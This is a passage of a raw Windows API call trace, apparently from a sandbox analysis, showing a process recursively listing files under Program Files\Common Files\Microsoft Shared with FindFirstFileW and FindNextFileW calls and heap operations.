ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0219.857] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0219.857] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0219.858] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0219.858] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0219.858] GetProcessHeap () returned 0x560000 [0219.858] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0219.858] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0219.858] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0219.859] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0219.859] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0219.859] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0219.859] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0219.859] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0219.860] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0219.860] GetProcessHeap () returned 0x560000 [0219.860] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0219.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0219.860] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.860] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0219.861] GetProcessHeap () returned 0x560000 [0219.861] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.861] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0219.861] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.862] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0219.862] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0219.862] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0219.863] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0219.863] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0219.863] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0219.863] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0219.864] GetProcessHeap () returned 0x560000 [0219.864] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.864] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0219.864] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0219.864] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0219.864] GetProcessHeap () returned 0x560000 [0219.864] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0219.864] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0219.865] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0219.865] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0219.865] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0219.865] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0219.865] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0219.866] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.866] GetProcessHeap () returned 0x560000 [0219.866] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0219.866] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0219.866] GetProcessHeap () returned 0x560000 [0219.866] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0219.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0219.867] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.867] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0219.867] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0219.867] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.867] GetProcessHeap () returned 0x560000 [0219.867] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0219.868] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0219.868] GetProcessHeap () returned 0x560000 [0219.868] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0219.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0219.871] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.871] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0219.871] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0219.871] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0219.871] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0219.872] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, 